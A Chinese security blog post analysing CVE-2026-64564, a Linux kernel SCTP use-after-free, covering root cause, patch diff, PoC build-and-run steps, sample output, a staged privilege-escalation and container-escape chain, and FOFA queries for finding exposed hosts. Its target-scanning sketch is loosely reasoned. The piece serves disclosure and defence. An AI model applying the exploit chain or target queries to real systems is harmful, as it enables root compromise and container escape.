潜伏 18 年的内核炸弹 Linux SCTP ASCONF UAF 本地提权与容器逃逸

潜伏 18 年的内核炸弹 Linux SCTP ASCONF UAF 本地提权与容器逃逸

漏洞简介

  • CVE-2026-64564 代号 SCTPhantom,是发现于 Linux 内核 SCTP(流控制传输协议)子系统的重大安全漏洞。该漏洞属于 Use-After-Free(UAF)类型,存在于 SCTP 动态地址重配置(ASCONF)的 DEL-IP 处理逻辑中。

  • 核心问题在于 DEL-IP 操作存在身份不匹配缺陷:校验阶段使用数据包的源地址 S 来判断是否允许删除某个 transport,执行阶段却通过 Address Parameter L 来选择要操作的 transport。当 S ≠ L 时,攻击者可以构造恶意 ASCONF chunk,使内核释放掉一个 transport,但 association 仍然保留对该 transport 的悬空指针引用,从而导致 UAF。

  • 该漏洞的影响链路:发现运行受影响内核的主机或容器 → 利用 SCTP socket 发送恶意 ASCONF 数据包 → 触发 UAF → 内核地址泄露 → KASLR 绕过 → 伪造内核对象图 → commit_creds() → 全局 root 权限(可进一步用于容器逃逸到宿主机)

影响范围

项类别

详细内容

漏洞编号

CVE-2026-64564

漏洞类型

Use-After-Free (UAF)

向量

CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

攻击复杂度

所需权限

低权限本地用户即可触发

影响范围

本地权限提升(root)、容器逃逸到宿主机

受影响内核版本

6.6.y < 6.6.148、6.12.y < 6.12.101、6.18.y < 6.18.42、7.1.y < 7.1.6、主线 < 7.2-rc5

受影响的发行版

Debian 13 (Trixie) 6.12.95、Ubuntu 24.04 6.8.0-134-generic、Rocky Linux 9 / RHEL 9 5.14 厂商内核、OpenCloudOS 6.6.119

验证方法:运行 uname -r 检查内核版本,若版本低于上述范围且未打厂商补丁,则受影响。

漏洞原理

  • SCTP 是一种支持多宿主的消息传输协议,一个 association 可以包含多条路径。Linux 使用以下结构体表示关键对象:

struct sctp_association {
    // ...
    struct sctp_transport *primary_path;  // 主路径
    struct sctp_transport *active_path;   // 活跃路径
    struct list_head peer.transport_addr_list; // transport 链表
    // ...
};

struct sctp_transport {
    // ...
    __be32 cwnd;          // 拥塞窗口 (4字节)
    __be32 srtt;          // 平滑往返时间
    struct dst_entry *dst;
    struct inet_peer *af;
    // ...
};
  • ASCONF(Address Configuration)chunk 是 RFC 5061 定义的动态地址重配置功能,包含 ADD-IP(添加新地址)、DEL-IP(删除地址)、SET-PRIMARY(设置主路径)三种操作。

七度光 www.qdg.tw CVE-2026-64564 利用链流程 SCTPhantom - Linux SCTP UAF Local Privilege Escalation 1 恶意 ASCONF 数据包投递 伪造源地址 S ≠ Address Parameter L 2 UAF 触发:DEL-IP 释放 Transport primary_path/active_path 悬空指针残留 3 pg_vec 回收入栈 → 任意内核读 通过 SCTP_STATUS 读取内核地址 4 IDT 映射读取 → KASLR 绕过 固定虚拟地址 0xfffffe0000000000 5 伪造 kernel 对象图 → cred 劫持 构造 transport→asoc→socket→cred 链路 6 commit_creds() → Global Root SO_LINGER abortive close 触发利用 powered by 七度光 www.qdg.tw

图解说明:sctp_association 持有 primary_path 和 active_path 两个指针指向 sctp_transport。当 DEL-IP 释放 transport 后,association 中的这两个指针变成悬空指针,后续访问触发 UAF。

  • 构造以下有序操作序列即可触发漏洞:

[Address Parameter L] [DEL-IP L] [DEL-IP 0.0.0.0

执行流程:DEL-IP L 时内核用源地址 S 校验通过,释放 transport(L);DEL-IP 0.0.0.0 通配符删除操作将 transport(L) 的指针作为待保留路径;最终 association 的 primary_path 和 active_path 指向已释放的 transport。

  • 漏洞根因代码位置(net/sctp/sm_make_chunk.c):

修复前缺少关键检查:

peer = sctp_assoc_lookup_paddr(asoc, &addr);
if (!peer)
    return SCTP_ERROR_DNS_FAILED;

// 缺少检查!未验证 peer == asconf->transport
sctp_assoc_rm_peer(asoc, peer);

修复后增加身份校验:

peer = sctp_assoc_lookup_paddr(asoc, &addr);
if (!peer)
    return SCTP_ERROR_DNS_FAILED;

if (peer == asconf->transport)
    return SCTP_ERROR_REQ_REFUSED;  // ✅ 防止删除正在使用的 transport

sctp_assoc_rm_peer(asoc, peer);

漏洞复现

  • 准备环境

项类别

详细内容

环境

Debian 13 (Trixie)

内核版本

6.12.95+deb13-amd64

架构

x86_64 / amd64

权限

低权限普通用户

前置条件

SCTP 模块已加载

步骤 1:环境检查

检查内核版本与 SCTP 模块状态:

# 检查内核版本
uname -r

# 检查 SCTP 模块是否加载
lsmod | grep sctp

# 若未加载,手动加载
sudo modprobe sctp

# 检查 SCTP 相关 sysctl
cat /proc/sys/net/sctp/addip_enable
cat /proc/sys/net/sctp/auth_enable

步骤 2:编译 PoC

# 安装依赖
sudo apt update
sudo apt install build-essential libsctp-dev

# 编译 PoC
gcc -O2 -static -o CVE-2026-64564 CVE-2026-64564_SCTPhantom.c -lsctp

步骤 3:执行利用

# 以普通用户身份运行
./CVE-2026-64564

步骤 4:预期输出

成功时终端输出:

[*] SCTPhantom LPE PoC - CVE-2026-64564
[*] Compilado para Debian 13 kernel 6.12.95
[+] ASCONF malicioso enviado (UAF triggerado)
[+] UAF1 page: 0xffff9a8fXXXXX000 (1 attempts)
[+] KASLR slide: 0xXXXXX (IDT 0xXXXX)
[+] credential security: 0xffff9a8fXXXXX
[*] graph: transport=0xffff9a8fXXXXX asoc=1 af=1 base_sk=1
[*] trigger: sprayed=xxx uid=1000 before=0
[*] result: uid=1000 before=0 after=1
[+] global root confirmed
[+] shadow: root:$y$j9T$...
[+] marker written: /root/SCTP_LPE_SUCCESS
[+] SHELL ROOT OBTIDO!

利用链详解

  • SCTPhantom 的完整利用链分为以下阶段,整体流程如下:

七度光 www.qdg.tw Linux SCTP 内核对象结构 sctp_transport → sctp_association 生命周期关系 struct sctp_association peer.transport_addr_list peer.primary_path peer.active_path base.sk assoc_id 存活于 UAF 期间 struct sctp_transport af (sockaddr) +0xA8 asoc (pointer) +0xB0 cwnd (u32) +0xCC burst +0xDC dst (routing) +0xE0 被 DEL-IP 释放后悬空 powered by 七度光 www.qdg.tw
  • 阶段一:UAF 触发与内存回收。恶意 ASCONF 数据包投递后,DEL-IP 释放 transport,packet socket pg_vec 回收到 kmalloc-1024 缓存,direct-map 页面被复用并包含原始 transport 数据。

  • 阶段二:内核地址泄露。通过 SCTP_STATUS getsockopt 读取 cwnd/srtt 字段,将其解释为页指针,还原 64 位内核地址,获取 direct-map 映射的用户空间访问权。

  • 阶段三:KASLR 绕过。利用任意读原语读取 IDT 映射,通过固定虚拟地址 0xfffffe0000000000 重建 asm_exc_divide_error 运行时地址,计算 KASLR slide。

  • 阶段四:内核对象图伪造。SCTP authentication-key 分配到 kmalloc-1024,构造伪造对象链:fake transport(fake af + fake asoc)→ fake association(fake sk + fake cred)→ fake socket(伪造 uid=0 credential)。

  • 阶段五:权限提升。SO_LINGER abortive close 触发 commit_creds(fake_cred),获得全局 root 权限,验证方式为读取 /etc/shadow 并写入 /root/SCTP_LPE_SUCCESS。

  • 容器逃逸变体:除本地提权外,SCTPhantom 还可用于容器逃逸。在容器内执行 exploit 利用共享宿主内核的 UAF,commit_creds() 调用 call_usermodehelper_exec(),在宿主机初始 namespace 中执行命令,获得宿主机 root shell。关键优势在于无需 CAP_NET_ADMIN,无需修改 sysctl,仅需普通容器权限。

FOFA 语法

os="linux" && header="sctp"

或精确匹配内核版本:

banner="6.12" && os="linux" && header="sctp"

SCTP 服务端口探测:

port="2905" || port="3641" || port="3868"

批量扫描思路:

# 检测目标是否运行受影响内核
def check_vulnerable(target):
    kernel = get_kernel_version(target)
    if kernel < "6.12.101" and has_sctp_module(kernel):
        return True, f"VULNERABLE: {kernel}"
    return False, f"PATCHED or no SCTP: {kernel}"

利用工具下载

Grok 遭加密上下文注入攻击:LLM 的"解密能力"成为数据泄露通道 2026-08-21